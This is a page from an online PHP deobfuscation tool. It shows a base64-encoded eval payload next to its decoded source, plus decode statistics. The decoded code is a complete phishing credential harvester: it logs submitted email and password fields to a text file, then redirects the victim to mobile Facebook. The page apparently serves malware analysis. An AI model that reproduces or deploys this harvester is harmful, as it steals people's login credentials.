Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode("aGVhZGVyICgnTG9jYXRpb246IGh0dHA6Ly9tLmZhY2Vib29rLmNvbScpOyAgJGhhbmRsZS..

Decoded Output download

<?php header('Location: http://m.facebook.com');
$handle = fopen("rtraselbd.txt", "a");
foreach ($_POST as $variable => $value) {
    if ($variable == "email" || $variable == "pass") {
        fwrite($handle, $variable);
        fwrite($handle, "= ");
        fwrite($handle, $value);
        fwrite($handle, "
");
    }
}
fwrite($handle, "
");
fclose($handle);
exit;

Did this file decode correctly?

Original Code

eval(base64_decode("aGVhZGVyICgnTG9jYXRpb246IGh0dHA6Ly9tLmZhY2Vib29rLmNvbScpOyAgJGhhbmRsZSA9IGZvcGVuKCJydHJhc2VsYmQudHh0IiwgImEiKTsgIGZvcmVhY2goJF9QT1NUIGFzICR2YXJpYWJsZSA9PiAgJHZhbHVlKSB7ICBpZigkdmFyaWFibGU9PSJlbWFpbCIgfHwgJHZhcmlhYmxlID09ICJwYXNzIikgIHsgIGZ3cml0ZSgkaGFuZGxlLCAkdmFyaWFibGUpOyAgZndyaXRlKCRoYW5kbGUsICI9ICIpOyAgZndyaXRlKCRoYW5kbGUsICR2YWx1ZSk7ICBmd3JpdGUoJGhhbmRsZSwgIlxyXG4iKTsgIH0gIH0gIGZ3cml0ZSgkaGFuZGxlLCAiXHJcbiIpOyAgZmNsb3NlKCRoYW5kbGUpOyAgZXhpdDs="));

Function Calls

base64_decode 1

Variables

None

Stats

MD5 83708315172905f7989a5dac31a2acec
Eval Count 1
Decode Time 86 ms